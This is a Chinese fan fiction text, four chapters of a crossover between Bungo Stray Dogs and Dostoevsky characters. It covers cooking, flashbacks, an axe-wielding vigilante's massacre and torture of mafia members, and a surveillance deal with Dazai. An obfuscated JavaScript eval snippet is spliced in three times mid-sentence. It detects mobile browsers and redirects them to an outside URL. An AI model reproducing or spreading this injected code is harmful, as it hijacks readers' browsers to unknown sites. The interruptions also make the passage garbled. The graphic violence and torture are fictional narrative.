无怪乎他会感到惊讶。因为在他印象中,伊凡先生是从不会自己做饭的:罗佳先生在的时候都是他做饭,不在的时候伊凡会提前定好外卖或餐馆。 他早在见到伊凡时就已经为他贴上了标签:一个永远理智、有追求的人,没有口腹之欲,不会关注吃饭睡觉这种琐事。 虽然芥川前半生都没见过厨房是什么样的,但他认为自己看上去都比伊凡先生会做饭。 所以……伊凡先生真的能……? 伊凡一眼就看懂他的表情,还露出一个有点自嘲的笑:“我不是什么十指不沾阳春水的人。况且,横滨的餐馆厨师似乎总做不好俄国菜。” 见他这副云淡风轻的模样,芥川决定相信他。 伊凡站在厨房里,没有穿上围裙。即便是最狼狈的时候,他也不会让自己显得邋遢或滑稽。 他的确是会做饭的,因为他并不一直是少爷,早经历过与那时大相径庭的生活——不要指望他做的多好,但以他的学习能耐来说,也不会太差。 此刻,他盯着料理台上的食材——牛肉、甜菜根、圆白菜、番茄,还有一袋从地下室翻出的黑麦面包,眉头微蹙。 “先生,需要在下帮忙吗?”芥川龙之介站在厨房门口。 他刚才去看过银,小女孩已经在卧室里睡着了,趴在一堆书里,头发上沾着一点铅笔屑。把小妹妹安顿到床上后,他决定来厨房看看。 “可以。”伊凡平静地说。“帮我洗一洗菜吧。” 芥川点点头,拿了白菜到一旁仔细清洗起来。伊凡则站在原地,拿了菜谱静静地看着,记下所有步骤。 牛肉切块焯水,再重新起锅加入温水、牛肉和香叶,小火慢炖;把所有蔬菜清洗后切块或切丝,番茄放入水中烫过后去皮。 锅中放入黄油等,炒香洋葱,再加入土豆、胡萝卜番茄等翻炒,加入番茄酱和糖,翻炒均匀。 然后,将这些炒好的蔬菜加入牛肉汤中,继续炖煮。 他在一段时间后打开锅盖看了一眼,味道很香。汤汁在里面呈现出浓稠的红色,咕咚咕咚冒着泡。 蔬菜和牛肉没有完全软烂,还需要再等一段时间。他盖回盖子,脑海中却不断浮现出浓稠的红色,还有那炖煮食物特有的声响——“扑通、扑通”。 好像有什么东西在血浆里滚动一样呢。 他的脑海里闪过无数画面。从出生之后所见到的一切疯狂场面到后续接连不断的死亡:破碎的记忆在脑海中闪现,但在某种未知机制的限制中,却想不起当时具体的心情。 总之,他现在不仅不难过,甚至可以说是兴奋难当,迫切地想要找人说话。 因此,他在忙活的短暂间隙里,终于忍不住冲动似的,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276553|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芥川和在监听器一边的太宰治,嘴唇一开一合,就要把那个要命的秘密说出了: “曾经有一个厨子,他是我家的仆人,像一条狗……他……” 然而,他在说出这句话时,心脏猛得抽搐一下。最后终于抑制住那些诡异的情绪,把话咽了回去。 “怎么了……伊凡先生?”芥川听他戛然而止,不知出了什么事。 “没事。”伊凡突然用厌倦的语气说。 ——当然不是没事。他已经意识到了自己的愚蠢。 他想说——曾经有一个厨子,他是我家的仆人,像一条狗。他杀了人,上吊死了,不过是我教他这么做的*。 他也想说——你们在这里干什么?出去,出去!离我远点吧!魔鬼本来是不存在的,但它现在就站在你们旁边,知道么? 心上涌出的懊悔与自厌自弃比任何一刻都要强烈,他在模糊的幻影中似乎看见了过往的影子:母亲的癫痫,父亲的无耻,大哥与父亲追求同个女人的浪荡,纯洁的小弟弟在他逼迫下喊出的“расстрелять*”! 还有那个该死的奴仆,那个厨子——用法式鱼汤和滑稽干瘪的外表骗取他同情的家伙! 而我是他的共犯。 不,不是……我才是真正的主犯——我是他的精神领袖和领导者,他不过是我罪恶的执行者。 想要得到我的认可和支持吗?可怜的家伙……原本是要拿着钱远走高飞实现梦想的,最后却用一捆白绫自己结束了自己的生命。 是我的话令他绝望了吗? 是因为说着“人无所不可”的二少爷却连自己内心可怕的憎恨都不敢直视? 可我懊悔过么?有为这死亡感到一丝一毫的敬畏么? 真可惜,就算有我也不太记得了——我就是这样的人,这样黑暗的、高傲的、冷漠不近人情的。 不,不能再想了……这就是全部吗?我似乎想不起来,为什么? “伊凡先生……?伊凡先生!”朦朦胧胧的呼唤从耳畔传来,把他从恍惚里猛地拉出,“时间到了。” “……啊。”他愣了几秒钟后,缓慢地答到,手中机械地动作着,往汤锅里加上最后的调味。 最后,一道俄式罗宋汤大功告成。 在桌上,龙之介为妹妹也盛了汤。 他们都饿了,喝汤的模样酣畅又迅速——鲜美的汤汁伴随着独特风味滑进胃里,在他们心中荡起一阵阵柔软的涟漪。 “伊凡先生,您自己也尝尝吧。”银细声细气地说,“您的手艺很好啊。” 伊凡看了看锅里的汤,又看了一眼两兄妹的表情,强忍恶心为自己盛了一碗。 喝吧,喝吧,只是汤而已。 芥川望着伊凡的动作,想起今天年长者的一连串举动,心中突然明白了什么,涌上一层真切的感激和亲切。 有那么一刻,他们之间的隔膜似乎终于消解了。孩子们从另一个角度触及到了伊凡尽力隐藏的真相—— 这个男人原来是可以爱的。 有了这个真相,那么至少在今夜,他们可以抛弃一切痛苦,尽情享受美食、欢乐与诗歌。 …… 【人设完成度上升,目前马甲2完成度:62%】 ——————————————————— 12.Chapter 12.另一种夜晚 潮湿的夜风卷着咸腥灌入鼻腔,夜晚在此地显现出另一种模样。 斯拉夫青年藏在集装箱阴影里,他今天特地戴了面具;异能幻化的斧刃紧紧攥在手中,竟微微发烫。 今天是第几天?他懒得数。他已经杀了不少人,也潜进警局里看过,知道警察那边基本是一头雾水,也不敢碰与黑手党相关的命案,不足为惧。 所以,突破口仍然在那群港口黑手党身上。 这么多天以来,追查追查,赃款去向仍没有头绪,他的心情却日渐烦躁,有时都不禁冒出极端的想法——不如直接把他们的首领劈裂好了。 问他为什么会这么想,首领难道不能算他理想中“超人”的一员吗? 别误会了,权势、财富、残暴与成为有价值的人并没有必然联系。而且,这种联想让他觉得恶心—— 若是心狠手辣的罪犯和脑满肠肥政客也个个配得上这名号,这对罗佳自己和拿破仑都是奇耻大辱! 所以,若是能把这个首领干掉就好了。但这显然不行,若是接近首领如此容易,那多年来对方也不会稳坐这个宝座了。 只能先从其他成员入手。 今天晚上便是个好时机——港口旁的工厂,有一批等待交易的脏货。负责人是一个准干部和麾下游击队长,地位较高,也许知道的消息会更多些。 不仅如此,他早就看这批货不爽了,最好一起销毁。 冷风仍在吹。港区探照灯扫过第七个仓库时,他数清了来回的巡逻人数——这边有十二个,三人一组,配消音器的小型武器。 要开始了,他握紧斧柄绷紧肌肉,刻意压低的呼吸声也在发烫。 当探照灯的光线向他的所在地袭来,他便迅速就地一滚遁入黑暗,来到一组巡逻队身后的集装箱群。 尽管已经尽量放轻声音,却似乎仍有人注意到了这点不寻常的动静。 他没有任他们查探,而是先下手为强——如同一道黑色的闪电疾冲而出。脚步轻点地面,几乎没有发出任何声响,转瞬便来到了一名巡逻者的身后。 轻轻的“咔”。 手中的斧头带着凌厉的风声劈下,血光飞溅而出,那名黑手党成员甚至来不及发出一声惨叫便直直倒下。 罗佳顺势一脚将尸体踢进黑暗之中,身形不停,再度隐入阴影。 “怎么回事?人呢?”巡逻队的脚步立刻急促起来,相互靠拢,手中的武器警惕地指向四周。 但这一切都在罗佳的预料之中,他的嘴角勾起一抹冷笑,再次发动攻击。 他从阴影中猛然跃出,手中斧头化作一道寒光向剩下两人飞去,其中一人反应较快,俯身躲过,另一人的脸直接成了两半。 “有袭……!”反应较快的那人没来得及说完,便在背后袭来的一斧中彻底消音。 “第一组解决。”罗佳心里默念到。 剩下的三组依旧如法炮制。每一次斧头的挥动,都伴随着骨头断裂和皮肉撕裂的声音。 来不及开枪,黑手党成员们便纷纷倒下,鲜血迅速在地面蔓延开来,死于影子里的持斧幽灵。 第三组时,终于有一名巡逻者反应迅速,抬手便是一枪。子弹擦着罗佳的脸颊飞过,刮出一道血痕,他却浑不在意,眼中只有杀戮的欲望。 他几步借力跃上集装箱,从上居高临下抡起斧头,银光闪过,斧头将对方连人带枪劈成两半。 最后,四组巡逻者全部解决,一个也来不及通风报信,淡淡的血腥气顺着风四处飘散。 罗佳在阴影里稍作喘息,便朝着工厂内部潜去。 工厂里灯火通明,中间的厂房只有一个大门。那批等待交易的脏货就在里面,但必定有守卫,偷偷潜进是不太可能了。 太明显了,这种情况下即便用异能削弱存在感也无济于事。况且,他离那些死去的巡逻队员距离不足百米,没有触发“罪证消失”效果。 怎么办?他沉思,随即想到——这么大的厂房,必定有通风管道。 罗佳贴着工厂外墙移动,异能带来的模糊感让他如融入阴影。 通风管道的一个口位于二楼,他借力跃上窗台,从那可容一人匍匐前进的管道里爬了进去。 管道内霉味刺鼻,他屏气前行,渐渐看到厂房内部的亮光,下方传来对话声:“上头说这批货要赶在彭格列发觉前转移。” “怕什么?那些家伙对这儿的控制力不怎么样,再说还有准干部在外面……” 罗佳从通风口清楚地看见:那批货物便在他正下方,一旁,有三名守卫正背对着他。 他不动声色地把管道封口移开,默默数了几秒,看准时机将斧头丢了下去—— 准头很好,斧头旋转着割开一人的喉咙之后,插在了另一人的胸膛上。 “有敌袭!有敌袭!” “在哪里?” 喊声枪声立刻自四面八方响起,喧闹噪杂,混乱一片。而罗佳的斧头已经幻化收了回去。 他当然没有傻乎乎地从通风口往下跳,而是眼疾手快地往下丢了一样东西。 “滋滋滋——” 火星子正往尽头烧去。 “炸弹!是炸弹!”下方响起了破音的怒吼,“快趴下!” 不是炸弹,是比它更容易弄到的东西——烟花。但有些烟花里面该有的分量可是一点没少。 接着,下面的一个声音意识到什么,赶忙改口:“不!不!快把炸弹弄出去!那批货里有……!” 来不及了。在那夺命的几秒钟里,罗佳早已顺着通风管道逃了出去,没有往窗台走,而是直接向空中纵身一跃—— “砰——” “砰——砰——” 烟花四处飞舞的声音,火星子显然点着了货物里的某些东西,造成了可怕的连环爆炸,一声一声,如刺耳的尖啸。 巨大的热浪从里面喷薄而出,震碎了玻璃。透明的玻璃如纷纷扬扬的水晶和雪片,而爆炸产生的光芒竟堪比太阳,绚烂无比—— 照亮了夜晚,也照耀了他身着黑色服装飞翔的身影。 好似一只黑色的鹰隼,在自由地翱翔后,坠落在地。 背部着地,有点疼,肯定会淤青,但现在顾不了这么多了——里面的人已经死定了;而爆炸正在产生的连环反应仍在继续。 他要尽快离开,找到并活捉那个准干部——从刚才的对话中也可知,这个人应该是唯一的活口,而且就在附近,极有可能听到爆炸声后赶过来。 被他说中了。 还没跑出几步,他便瞧见一个身影自远处极速飞驰,向着爆炸的工厂厂房奔来。 是那个准干部。 罗佳没有犹豫,果断抡飞斧头向对方掷去,却听见“铮”的交击声——攻击没有奏效,利刃被另一种金属质感的东西挡住了。 不是刀剑,也不是枪械——对方是异能者。他的周身环绕着诡异的黑色雾气,雾气中隐隐有尖锐的刺芒闪烁。 两人没有开口,只凭一个照面便双双确认对方身份。 准干部抬手,雾气如利箭般射向罗佳。罗佳侧身一闪,利箭擦身而过,在地上凿开一道道深痕。 但罗佳没有向后躲,反而趁势向前,不停躲过飞来的“雾箭”,手中斧头挥舞,带起呼呼风声。 对方冷笑,黑色雾气瞬间凝聚成一面盾牌,挡住了斧头的攻击。 这异能有些棘手。 但并不是没有破绽。异能的变化显然随异能者心意变换,但倘若来不及反应呢? 然而,对方显然也不是平庸之辈,似乎意识到他的想法后,开始加大输出,黑色雾气愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288148|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发浓郁,仿佛巨大的黑色罗网,令人视线模糊。 在雾气中,他只能凭借感觉应对攻击。 突然,一道刺芒从背后袭来,来不及转身,只能用手臂抵挡。刺芒穿透衣袖,划伤了他的手臂。 血液顺着小臂淌下来,拉斯柯尔尼科夫却轻轻笑了。 【斧头】能砍的可不止是物理意义上的物体! 他置对方的攻击于不顾——为了阻挠视线分出去的一大片黑雾,另剩下的那部分只能化作细小的芒刺,无法造成致命伤。 那么,流血便让它流吧! 他闭上眼,利用异能的感知机制,判断出雾气发出之地格外响亮的摩擦声,抡起斧头向那处砸去。 这一斧头当然被及时挡住了。那么,带着他本人全身力气的另一次劈砍呢? 在第一把斧头脱手的一瞬间,罗佳的手中已经握上了另一把幻化而出的斧头,无缝衔接。 在他向目标的前上方飞扑的一瞬间,能割开一切的利刃顺着力道,以排山倒海的气势冲向对方—— 一道刺目的、月光一样的银光闪过,雾盾被生生割开,在准干部的胸前砍出一道巨大的血痕。 结束了,准干部发出一声惨叫,黑色雾气瞬间消散。 估计一时半会儿是用不了异能了。 罗佳用斧柄重重劈在他脖颈处,将他打晕。 随后又找来一块黑布,蒙住对方的眼睛,绑住手脚,将其拖到了百米范围外的一片废墟之中。 染了血的两人独自站在废墟中。周围的空气也安静,一个在地上晕着,一个默不作声地站着。 月光打在这位“黑手党猎人”苍白的面具上,照亮了面具下方血红的口部和眼部两个涂成漆黑的空洞,显得格外诡异。 大概一刻钟后,青年狠狠踢向黑手党的腹部。一声低吟,对方醒了。 “要杀要剐随你便,我什么也不会说的。”准干部被他盯得心里发毛,但仍然坚持。 罗佳没有回答,而是又一脚踢在他的腰间。对方闷哼一声,身体蜷缩起来。 “你想用疼痛逼我就范?我告诉你,没用的,我可是黑手党,见识过比这要残忍得多的手段。” 青年仍不言不语,只是又踢他一脚。一脚,又一脚,他的动作非常机械,却又锲而不舍。 准干部被他这态度搞糊涂了:“你到底有什么目的,如果什么也不想知道,为什么不杀了我?” “啊……”某种充满恶意的、黏稠又飘渺的声线低低响起。 “我只是觉得不够,不够啊……我想折磨你,一点一点地,碾碎你的一切为止。听人惨叫的感觉,简直是……极致的享受!” 尾音兴奋地上挑,面具下清秀的脸庞已经潮红。 【好疯批的表演……】青年脑内的系统声音感慨道,【为什么我一点都不意外呢。你悠着点儿。】 实际上,K自己说完都觉得一阵恶寒——他和罗佳显然都不是这种“愉悦犯”,但谁规定不能演戏中戏? 尽管人设完整度在耳边上下起伏,他表面纹丝不动。 一边脚上踢打、碾人家手指,嘴上如精神污染一般,持续输出兴奋又瘆人的话。 一时间,封闭的废墟中充斥着癫狂的大笑和惨叫呻吟。 “行了行了行了!”准干部终于屈服,“你快问吧,我什么都说!问完给我一个痛快!不要再继续折磨我了!” 青年意犹未尽地又踩了他的脸一脚,笑道:“真可惜!怎么这么快就屈服了?我还没玩儿够!” 然而,下一秒,他带笑的声音立刻转换,冷酷如冰水:“那么,告诉我,对失踪的港口黑手党成员和消失的交易款的调查如何了?是谁找到了凶手藏起来的赃款?” ————————————————————— 13.Chapter 13.窥探欲 “对失踪的港口黑手党成员和消失的交易款的调查如何了?是谁找到了凶手藏起来的赃款?” 这声音冰冷又低沉,不比刚才瘆人,但明显带上了更真切的压迫感。 不说的话……会立刻死去吧。 准干部暗地里攥紧拳头,眼前被黑布蒙着看不清楚,被剥夺了视线,对方的声音和自己逐渐放大的心跳更加清晰。 “我……不清楚……啊!”他还没有说完,立刻被脸上火烧一般的疼痛惊得一跳。 对方狠狠打了他一个耳光,简单粗暴,力道大得使他的脑袋歪到一边。 “我不喜欢隐瞒。”那个声音继续说,“你知道什么就说什么。” “我说的是实话!虽然我不负责这个,但我们的确没什么进展……”准干部吐出一口血沫,赶紧答,“只知道对方是个强大的异能者。之前本想随便抓个去交差……” 又是“啪啪”两个耳光。 这比刚才还要用力,鲜红的色彩从酸涩的鼻间流出,让被审讯者的整个脸像被挤爆的草莓蛋糕。 “我说的真的是实话!一句假的都没有,你不能……!”他颤颤巍巍地控诉——他当然不会知道,这两巴掌是为了“随便抓去交差”的人打的。 “呵。”对方只有一声冷笑,他却觉得寒流自脊椎极速向蔓延,不自觉间抖得更厉害了。 该死的,这家伙是个恶魔,根本就随心所欲! 他愤恨地咽下一口带血的唾沫,期盼自己的异能赶紧回来——把这人碎尸万段!不,也许只要先逃走…… 回应他沉默的又是几个耳光。 耳边已经响起了嗡嗡耳鸣,很快就要有东西流出。他觉得整张脸已经痛到麻木。 不能死在这里,我还能……! 忆起这人对自己话的反应,他的脑海中闪过一道灵光:也许,需要赌一把? “我明白了……您很缺钱吧?所以听说有赃款流失,就想要得到它们?我可以帮您……” 他的思路很简单,听见“查不到”而生气,说明对方不是凶手,而是对查到凶手很感兴趣的人;又因这人特地询问了赃款,那么目的应该就是钱了。 对方又是一声冷笑,不知是嘲笑还是掩饰。 没有耳光?那看来是……有戏?准干部之所以成为准干部,还是有细心观察的能耐的。 有了思路,他逐渐大胆起来,声音也不抖了: “您看,不需要为这么一小笔钱大费周章,我们港口黑手党的奖赏非常丰厚,完全能给您一笔足以挥霍到死的钱财,地位和权势当然也不在话下,只要您听我说……” 他没有说完,只听见轻轻的一声“啧”,像是对他自不量力的作答,下一刻,冰凉又锋利的东西贴上了他的脖颈,是那把要命的斧头: “你在侮辱我。” 准干部喉咙上下滚动,一次次擦过刀刃,下意识放轻呼吸,不敢再触霉头:“不,我绝对没有这个意思,是您手段高明战斗力极强,这才起了招揽的心思……” 冷哼过后:“哦?那你是试图揣测我。” “任您责罚。”说完这话后,他立刻安静如鸡,仿佛等待审判。 隐忍是必要的,我需要积蓄力量。 但对方似乎有些不耐烦,等不起的样子:“我厌了。最后问一次:港口黑手党是不是没有查到真凶,也没有找到赃款?” 这个问题很重要,准干部的直觉正在激烈警报:如果回答不好,下一刻他就要头身分家。 他浑身紧张地假装思考一番,说:“不……据说情报组对失踪的交易款已经有了头绪。但我的级别太低,没资格接触。” 对方似乎静了几秒,似乎放弃了直接将他除掉:“那么,你们情报组的干部是谁?” “是源野川门干部。”回答非常迅速——他也是为了活命,干部会理解的。 “哦。”持斧的恐怖男人吐出一个音,不带任何感情。 正当他以为自己能逃过一劫时,对方口中吐出的话让形势急转直下:“很好。给你五秒钟时间,证明自己是无辜的——五——” 准干部情急地大喊:“什么意思?我——” “四——” “什么无辜?我是黑手党!” “三——” “虽然是准干部但我负责的只是看守交易——” “二——” “我是杀过人,但都是首领下令——” “一——” “他妈的,去死吧——” 千钧一发之际,准干部的异能突然爆发!黑雾化作千万根利刺穿透向正前方刺去,这次必定万无一失! 他好像刺中了什么东西,一点温热的液体洒在脸上。 成功了吗? 深深吸了一口气,他狂跳的心脏刚刚平复下来。还好他在醒来之后便一直努力恢复精力,终于在关键时刻用出了异能。 我活下来了,果然一切都可能发生。 “零——你没有机会了。” 如死神一般从地狱传来的声音响起,瞬间冻结了他所有的幻想。 “咔——斧头落下的瞬间,月光被劈成两半,一个头颅滚落在地。 蒙在眼部的黑布散开,因为不甘睁开的双眸里,倒映着最后一道银芒。 罗佳站在血泊中,听着心跳声在废墟里回荡。他扯下面具,让苍凉的月光照脸上。 “为什么……”他向夜空低语,“这世界上没有无辜者,连诚实明智的人也不复存在了么?” 他眼前一片恍惚,踉跄着后退,撞在断墙上。月光穿透他的身体,照出背后无穷无尽的黑暗。 刚才的突刺的确伤到了他,在肩上。鲜血正沿着左手手臂向下淌,在地上汇起小小的一个池。 又是一无所获。也许可以去找找情报组的……尽管这家伙说谎的可能性很大。 如果这群黑手党都没有线索,究竟是级别还太低,还是真的一无所获? 如果不是黑手党的人找到了他埋下的赃款,也不是警察,那会是什么人呢? 如果普通人找到,那就有大麻烦了。只要用了这笔赃款,便极有可能被黑手党找上门,基本只有一个结局。所以,即便是普通人也不行—— 至于罗佳自己? 他的确拿出了赃款,但却没有切实地“使用”它们。伊凡既然能信任他的手段,也就说明他不会是直接用偷来的钱买安全屋的傻子。 隐藏自己倒还是容易的。他先是选定了两个目标,一个是住在横滨的罪犯1,这家伙犯过几项大案,却从未被抓住,家中积攒了一堆自己洗过的现金。 罗佳潜入后,顺理成章地用同样面值的赃款和那堆现金进行了交换。 但关键是下一步,他用换出来的钱,隐藏身份雇了一个外地的杀手——当然也前科累累,简称罪犯2。他让这个罪犯2用这笔钱买了一个安全屋,又让他去杀死罪犯1。 待罪犯2完成任务、杀死罪犯1后,罗佳自己从阴影里出来,杀死了罪犯2——因为来自外地,他的失踪几步不会有人发现。 如此一套操作下来,赃款查到死去的罪犯1那里,也很难找到他。 只不过,因为当初芥川兄妹从安全屋里大大咧咧跑出来找他的举动,那时候买下的这个安全屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292407|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也已经不能用了。 这些暂且不提,他必须要把自己接触过的赃款找到,毕竟,这是他不得已给自己留下的唯一罪证。 接下来该怎么办?他的身躯因伤口和泛起的热量微微颤抖,琥珀色地瞳孔无助地凝望着天花板。 “叮铃铃……叮铃铃……” 突然,一阵铃声打破了沉寂。 他皱了皱眉,颤抖着伸向大衣内衬,拆开缝合线,把装在里面的手机掏了出来:他记得明明已经关机了…… 然而,上面显示的名字令他眉头皱得更紧,赶忙按下接听键。 也不听对面说什么,劈头盖脸就是压抑怒火的一句:“太宰治,你监听我?” 对面安静了几秒,才传来少年刻意装出黏黏糊糊的声音:“才——没——有嘞。我这么关心罗佳先生,您却这么无情,真是令人伤心~” 罗佳甚至懒得叹气,声音带着毫不掩饰的攻击性:“别跟我废话。直说吧,你想要干什么?” “好凶哦,罗佳先生!”太宰治左右扭动了一下,下一秒又恢复了正常,声音变成介于青涩和成熟之间的沙哑,“我想跟您做个交易。” 他冷笑了,说:“太宰君,我们不是朋友。” ——我没有义务陪你玩信任游戏,也没有保留你与我交易的权力。 而且,监听?这种来自外人的窥探让我觉得恶心。 “我知道哦。”少年沉稳又平静,“所以是两个人之间纯粹的利益交换。我能帮助罗佳先生解决现在的问题,而罗佳先生只需要给我一个承诺。之后,也不会再有监听这种事了。” “我没什么承诺可给的。”——我拒绝会怎样? 少年轻轻地笑了,嗓音在电子产品的影响下同样撩人:“但罗佳先生现在很苦恼吧?伊凡先生要是知道了会怎样呢?” “……你怎么肯定他现在不知道?”罗佳危险地说。 “嘿嘿~我就是知道。”太宰治故作调皮,“但这不是重点,您应该明白。时间拖延得越久,您和您身边的人就越危险。” 他沉默了一会儿。少年说的话一点没有错,现在为止令他不断拒绝的,并不是对情况的判断,而是对那点自尊的别扭维护。 他并不喜欢承认自己势单力薄;同样的,他也不喜欢任何仿佛威胁和羞辱的帮助。 “不是帮助哦,只是交易。”太宰治敏锐地察觉到他的心理,又不断往上加码,“只是我刚好可以做到您需要的事,而您也肯定能完成我所说的承诺。我们可以暂时合作,结局是双赢的。” “……究竟是什么承诺?” “森先生想要港口黑手党,您是知道的吧。”太宰治的声线也有些冷,带着明目张胆的恶意,还有一丝自己也未曾察觉到的苦涩。 “他很有野心,疑心病也很重,一旦成功了,就会开始审视周围的一切。” “很快啊,他就会怀疑我,后悔给我信任。所以,到那天时,如果我要逃走,希望罗佳先生能帮帮我。” 这是交易么? 罗佳似乎感觉到了。感觉到藏在这个少年心里的东西:好像万事万物都注定奔向虚无,一切羁绊都会在消磨中变成冰冷的一阵风,所以,此刻的剖白好像也并没有什么特别的意义。 你在绝望吗? 算了……这似乎也不关我的事。那种所谓“疑心病”的一天也许会到,也许永远不来—— 但杀人犯是不必对人诚实的。 “好,不要让我失望。”他听见自己冷静地答。 “那么,交易成立。合作愉快~” ————————————————— 14.Chapter 14.怒火 “交易成立。合作愉快~”少年的声音里浸满不知真假的欢快。 他们约好:第二天早上六点,在罗佳藏东西的荒废别墅区会面,然后便挂断了电话。 罗佳右手垂下,在月光和血迹里站了一会儿,直到肩上的疼痛无法忽视,才慢悠悠地站直身子。 最后望了一眼废墟中心的那具身体,他头也不回地向外走去——伤口需要处理,必须回家一趟。 到达门口的时候已经是凌晨,离会面还有四五个小时。月亮渐渐落下去,路灯倒还是黄澄澄的。房子窗里没有透出任何一点光线。 这很好,伊凡应当也睡着了。 他摸出钥匙,轻手轻脚开了门,没有打算换鞋,径直绕过客厅向楼上的卧室走去。 这个过程很顺利,没有惊动任何人——前几天他也是这么干的。安全屋不能用,便只能回来休整,但偏偏不能被现在在家里的任何一个人发觉。 屋子很静,伊凡的房间门紧闭,没有传出任何声音。 他经过芥川兄妹的房间时,能听见一点轻微的鼾声——心里有一点欣慰,这大概是有安全感的表现。 走进卧室门,他没有开灯,开始在黑暗里摸索医药箱。就在他摸到箱子的金属扣掏出绷带时,没有关紧的窗户突然被风吹开,凉飕飕地灌进他的脖颈。 他顿了一下,想要走过去关窗,却忽然听见某人喉间溢出一声轻笑——沙哑、疲惫,却又带着某种解脱的释然。 他手指下意识一抽搐,抑制住回头的冲动:“卡拉马佐夫,你这是在玩捉迷藏?” 对方没有回话,但他能感觉到对方应该是在笑。 既然不说话,他也不在意,非常干脆地走过去开了灯,拿出绷带药膏、镜子等一系列东西开始自顾自处理伤口。 身后传来打火机咔嗒咔嗒的轻响。 伊凡手里拿着一支细长的香烟,却没有点燃:他自控力好、也不抽烟,身上从来不会沾上烟酒的气息,却总是带着打火机与烟盒,只拿在手中。 也许这是他缓解焦虑的一种方式。 “所以,找我什么事?”他的声音刻意放低。 “拿来的赃款不见了,你这几天一直在找。”伊凡很干脆地说出自己的判断,“你认为我知道后会发怒,所以选择隐瞒。” 罗佳不得不承认,这家伙比他想象得更敏锐:“是的,现在你知道了。打算怎么办?” “我看上去像是要发怒的样子么?”伊凡盯着他,姿势非常放松。 “不是来兴师问罪的,那总该有别的事要说。”说实话,尽管已经认识多年,罗佳仍不是次次都能搞懂这人的脾气。 就像现在,他看不出伊凡到底有没有生气——但打火机,这是个很好的提示,警告他最好斟酌言辞。 “我哪敢向您问罪呢?”青年没有说为什么蹲守在他房间里,只是自顾自分析着,语带讽刺,“您想做什么就做什么,不在乎别人怎么看。但我却是爱扫兴的,是不批判他人就活不下去的类型——” “你能别——” 伊凡打断他:“不要插嘴,拉斯柯尔尼科夫。让我斗胆分析一下吧。 “您之所以选择留下赃款,还要大费周章为自己买来安全屋,和您的贫穷、渴望金钱没有任何关系。您只是无法忍受继续依靠我生活而已。 “所以,钱不是目的,只是您证明自己完全能离开我,能独立生活的筹码而已。” 罗佳很想打断他:“不要自作多情,卡拉马佐夫——” 伊凡不理他:“啊,也许不是向我,是您的骄傲逼迫您向自己证明—— “但,这有什么意义?我本意从不是怜悯或施舍,完全是出于互惠互利的考量。可您这种举动倒像是不打自招,不是么?” 他啪地一声彻底合上打火机,从椅子上站起,一步一步向他逼近: “但是,您的骄傲似乎没有告诉您,一个罪犯更应该还是谨慎安稳行事; “您的骄傲也没有告诉您,自作主张和欺瞒会给身边人带来多么大的麻烦——” 罗佳深深皱起了眉头,异能斧头在手中若隐若现:“卡拉马佐夫,别试图说教了,停下!” “您敢用那斧头砍我么,罗季昂·罗曼诺维奇?”伊凡发出怪笑,继续向他靠近,“来吧?论战斗的话我不是您的对手。杀了我如何,像杀死可怜的莉扎维塔*一样?” 持斧者的脸有那么一瞬间变得非常狰狞。 他的全身颤抖起来,一双琥珀色的眸子好像没有感情的猛兽,下一刻要吞噬这个胆敢威胁他的人。 但他最终忍耐下来,压抑地说:“停下吧,伊凡,太宰治在我们身上都放了监听器——” “啪”。 罗佳的眼睛微微收缩,手指下意识地抚上右边脸颊。 就在刚刚,伊凡拍了他一巴掌——称不上打,只是轻轻地一拍。 真的很轻,仿佛一种错觉:不是一个巴掌,而是一阵轻柔的抚摸。他甚至能后知后觉地闻到,对方身上有常用那款清冽的男士香水味。 这种力度无法造成任何伤害,但他的右颊仍像是被烈火炙烤一般烧起来。 没有什么能比这个更耻辱!他几乎是立刻握紧斧头,用最锋利的一侧对准了对方那可恶的脖颈: “卡拉马佐夫,你是真活腻了?” 伊凡仍保留着那古怪的、仿佛觉得很有趣的戏谑表情。甚至微微将身子前倾了一些,把自己最脆弱的部位送到他面前。 他在挑衅我。罗佳清楚地意识到。 他在报复我,想看我出丑。如果我真的因冲动杀死了他,就中计了。 罗佳不甘地放下了斧头,长长地叹了一口气,说:“现在,消气了没有?” 伊凡哼了一声,没说满意不满意,倒是回复了刚才的问题:“监听的事,我知道。我的那个在皮带扣里,早就去掉了,你的倒还没必要。” 罗佳没问他怎么发现的:“为什么说我的没必要?你知道我身上的监听器在哪儿?” “既然你把这件事告诉我,说明你自己已经确定了——监听者是谁?……太宰治吧?他给你打电话了。”伊凡非常笃定。“他还想要与你合作,是也不是?” “是。”没必要说谎,“我们约定今早六点见面。” “在问题解决之前,留着监听器能让他安心点,也算是一种有益的联系。不过……” 